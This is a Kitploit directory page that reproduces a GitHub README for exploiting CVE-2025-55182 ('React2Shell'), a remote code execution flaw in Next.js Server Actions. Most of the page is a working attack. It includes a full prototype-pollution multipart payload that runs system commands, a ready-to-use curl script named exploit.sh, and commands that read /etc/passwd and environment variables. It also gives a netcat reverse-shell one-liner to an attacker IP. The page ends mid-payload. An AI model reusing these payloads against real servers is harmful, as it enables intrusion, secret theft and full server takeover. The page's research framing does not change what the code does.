Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
react2shell-exploit — CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications using React Server Components (RSC) and Server Actions. | Kitploit
Tools/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications using React Server Components (RSC) and Server Actions.

View Repository
114 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 – React2Shell

Remote Code Execution in Next.js

⚠️ Disclaimer: This documentation is provided for educational and security research purposes only. Any unauthorized use of these techniques against systems you do not own or have explicit permission to test is illegal.


📋 Table of Contents

  1. Overview
  2. How It Works
  3. Installation & Setup
  4. Step-by-Step Exploitation
  5. Results & Impact
  6. Mitigation Strategies

Overview

CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications that use:

  • React Server Components (RSC)
  • Server Actions

Why Is It Dangerous?

An attacker can achieve Remote Code Execution (RCE) on the server by exploiting:

  1. Unsafe deserialization of RSC payloads
  2. Prototype pollution via __proto__ and constructor
  3. Dynamic execution paths in the Next.js server runtime

Consequence: Arbitrary system commands can be executed with the privileges of the Node.js process.


How It Works

Stage 1: Next.js RSC Protocol

Next.js uses a proprietary multipart/form-data protocol to communicate between client and server:

  • The client sends React Server Components to the server
  • The server deserializes and processes them
  • The result is returned to the client
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

Stage 2: The Weakness - Unsafe Deserialization

The vulnerability exists because:

  1. User-controlled data is not validated before deserialization
  2. Prototype chain access is allowed (__proto__, constructor)
  3. Certain fields are evaluated dynamically during request processing

Stage 3: Prototype Pollution Attack

An attacker can craft a payload that modifies internal object properties:

{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

By exploiting __proto__, the attacker pollutes the prototype of JavaScript objects, affecting all objects that inherit from it.

Stage 4: Code Injection

Inside the _prefix field, the attacker injects JavaScript code that:

  1. Accesses the Node.js module via process.mainModule.require()
  2. Loads the child_process module
  3. Executes system commands using execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Stage 5: Result Extraction

The command result is hidden in the error response:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js returns this error to the client, and the command output is visible in the digest field.


Installation & Setup

Prerequisites

  • Node.js 20
  • Burp Suite (or similar tool for request interception)
  • curl or Postman (for sending payloads)

Step 1: Clone and Install Vulnerable Server

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

Step 2: Start the Server

npm run dev

The server is now accessible at:

http://localhost:3000

Step 3: Verify Server is Running

curl http://localhost:3000/

At this stage, the server behaves normally.


Step-by-Step Exploitation

Approach 1: Using Burp Suite (Manual Interception)

Step 1: Enable Interception

  1. Open Burp Suite
  2. Go to Proxy → Intercept tab
  3. Enable Intercept is on
  4. Access http://localhost:3000/ in your browser

Step 2: Intercept the Request

A GET request will be intercepted. Send it to the Repeater tab:

  1. Right-click → Send to Repeater
  2. Go to the Repeater tab

Step 3: Replace with Malicious Payload

Replace the entire request with the following payload:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Step 4: Send the Request

Click Send


Approach 2: Automated Exploitation Script

Create a file exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Make it executable:

chmod +x exploit.sh
./exploit.sh

Example Commands

List Files and Directories

COMMAND="ls -la /"

Get Current User

COMMAND="whoami"

Read a File

COMMAND="cat /etc/passwd"

Check Network Connections

COMMAND="netstat -tuln"

Get Environment Variables

COMMAND="env"

Reverse Shell (Complete Server Access)

To gain full interactive shell access, use a reverse shell.

On the Attacker Machine: Listen for Connections

ncat -lvnp 9009

Or with netcat:

nc -lvnp 9009

On the Target: Send Reverse Shell Payload

Modify the payload with the following command (replace <ATTACKER_IP> with your IP address):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

The complete payload becomes:

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
Download Tool